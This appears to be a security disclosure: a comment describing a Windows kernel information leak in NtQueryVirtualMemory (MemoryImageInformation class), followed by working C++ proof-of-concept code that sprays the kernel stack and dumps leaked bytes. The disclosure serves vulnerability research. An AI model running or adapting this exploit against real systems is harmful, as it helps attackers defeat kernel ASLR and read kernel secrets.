/*
We have discovered that the nt!NtQueryVirtualMemory system call invoked with the MemoryImageInformation (0x6) information class discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 8 to 10.
The layout of the corresponding output buffer is unknown to us; however, we have determined that an output size of 24 bytes is accepted. At the end of that memory area, 4 uninitialized bytes from the kernel stack can be leaked to the client application.
The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with the MemoryImageInformation info class and the allowed output size. An example output is as follows:
--- cut ---
Status: 0, Return Length: 18
00000000: 00 00 f3 0c f7 7f 00 00 00 20 02 00 00 00 00 00 ......... ......
00000010: 00 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
--- cut ---
It is clearly visible here that the 4 trailing bytes copied from ring-0 to ring-3 remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
#pragma comment(lib, "ntdll.lib")
#define MemoryImageInformation ((MEMORY_INFORMATION_CLASS)6)
extern "C" {
typedef DWORD MEMORY_INFORMATION_CLASS;
NTSTATUS NTAPI NtQueryVirtualMemory(
_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress,
_In_ MEMORY_INFORMATION_CLASS MemoryInformationClass,
_Out_ PVOID MemoryInformation,
_In_ SIZE_T MemoryInformationLength,
_Out_opt_ PSIZE_T ReturnLength
);
};
VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
PBYTE Data = (PBYTE)Buffer;
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
static bool initialized = false;
static HPALETTE(NTAPI *EngCreatePalette)(
_In_ ULONG iMode,
_In_ ULONG cColors,
_In_ ULONG *pulColors,
_In_ FLONG flRed,
_In_ FLONG flGreen,
_In_ FLONG flBlue
);
if (!initialized) {
EngCreatePalette = (HPALETTE(NTAPI*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
initialized = true;
}
static ULONG buffer[256];
MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
}
int main() {
static BYTE OutputBuffer[1024];
SprayKernelStack();
SIZE_T ReturnLength = 0;
NTSTATUS Status = NtQueryVirtualMemory(GetCurrentProcess(), GetModuleHandle(NULL), MemoryImageInformation, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);
printf("Status: %x, Return Length: %x\n", Status, ReturnLength);
PrintHex(OutputBuffer, ReturnLength);
return 0;
}
